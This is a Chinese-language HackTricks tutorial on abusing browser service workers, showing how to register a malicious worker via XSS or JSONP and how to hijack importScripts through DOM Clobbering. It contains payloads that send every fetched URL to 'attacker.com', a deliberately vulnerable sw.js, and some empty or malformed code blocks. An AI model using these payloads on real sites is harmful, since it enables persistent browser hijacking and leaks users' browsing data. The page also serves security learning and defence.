# 滥用服务工作者
{{#include ../../banners/hacktricks-training.md}}
## 基本信息
**服务工作者**是由浏览器在后台运行的脚本,与任何网页分开,启用不需要网页或用户交互的功能,从而增强**离线和后台处理**能力。有关服务工作者的详细信息可以在[这里](https://developers.google.com/web/fundamentals/primers/service-workers)找到。通过利用脆弱的网络域中的服务工作者,攻击者可以控制受害者与该域内所有页面的交互。
### 检查现有服务工作者
可以在**开发者工具**的**应用程序**选项卡中的**服务工作者**部分检查现有的服务工作者。另一种方法是访问[chrome://serviceworker-internals](https://chromium.googlesource.com/chromium/src/+/main/docs/security/chrome%3A/serviceworker-internals)以获取更详细的视图。
### 推送通知
**推送通知权限**直接影响**服务工作者**与服务器之间在没有直接用户交互的情况下进行通信的能力。如果权限被拒绝,则限制了服务工作者持续威胁的潜力。相反,授予权限会增加安全风险,因为这使得接收和执行潜在漏洞成为可能。
## 攻击创建服务工作者
为了利用此漏洞,您需要找到:
- 一种**上传任意 JS** 文件到服务器的方法,以及一个**XSS 来加载上传的 JS 文件的服务工作者**
- 一个**脆弱的 JSONP 请求**,您可以**操纵输出(使用任意 JS 代码)**,以及一个**XSS**来**加载带有有效负载的 JSONP**,该有效负载将**加载恶意服务工作者**。
在以下示例中,我将展示一个代码来**注册一个新的服务工作者**,该服务工作者将监听`fetch`事件,并将**每个获取的 URL 发送到攻击者的服务器**(这是您需要**上传**到**服务器**或通过**脆弱的 JSONP** 响应加载的代码):
```javascript
self.addEventListener('fetch', function(e) {
e.respondWith(caches.match(e.request).then(function(response) {
fetch('https://attacker.com/fetch_url/' + e.request.url)
});
```
这是将**注册工作者**的代码(您应该能够通过利用**XSS**执行的代码)。在这种情况下,将向**攻击者**的服务器发送**GET**请求,**通知**服务工作者的**注册**是否成功:
```javascript
```
在滥用易受攻击的 JSONP 端点时,您应该将值放入 `var sw` 中。例如:
```javascript
var sw =
"/jsonp?callback=onfetch=function(e){ e.respondWith(caches.match(e.request).then(function(response){ fetch('https://attacker.com/fetch_url/' + e.request.url) }) )}//"
```
有一个专门用于**服务工作者**利用的**C2**,叫做[**Shadow Workers**](https://shadow-workers.github.io),这将对利用这些漏洞非常有用。
**24小时缓存指令**将恶意或被攻陷的**服务工作者 (SW)** 的生命周期限制为在XSS漏洞修复后最多24小时,假设在线客户端状态。为了最小化漏洞,网站运营者可以降低SW脚本的生存时间(TTL)。开发者还被建议创建一个[**服务工作者杀开关**](https://stackoverflow.com/questions/33986976/how-can-i-remove-a-buggy-service-worker-or-implement-a-kill-switch/38980776#38980776)以便快速停用。
## 通过DOM Clobbering在SW中滥用`importScripts`
从服务工作者调用的函数**`importScripts`**可以**从不同域导入脚本**。如果使用**攻击者可以**修改的**参数**调用此函数,他将能够**从他的域导入JS脚本**并获得XSS。
**这甚至可以绕过CSP保护。**
**示例易受攻击的代码:**
- **index.html**
```html
```
- **sw.js**
```javascript
const searchParams = new URLSearchParams(location.search)
let host = searchParams.get("host")
self.importScripts(host + "/sw_extra.js")
//host can be controllable by an attacker
```
### 使用 DOM Clobbering
有关 DOM Clobbering 的更多信息,请查看:
{{#ref}}
dom-clobbering.md
{{#endref}}
如果 SW 用于调用 **`importScripts`** 的 URL/域名 **在一个 HTML 元素内**,则 **可以通过 DOM Clobbering 修改它**,使 SW **从您自己的域加载脚本**。
有关此的示例,请查看参考链接。
## 参考
- [https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering](https://portswigger.net/research/hijacking-service-workers-via-dom-clobbering)
{{#include ../../banners/hacktricks-training.md}}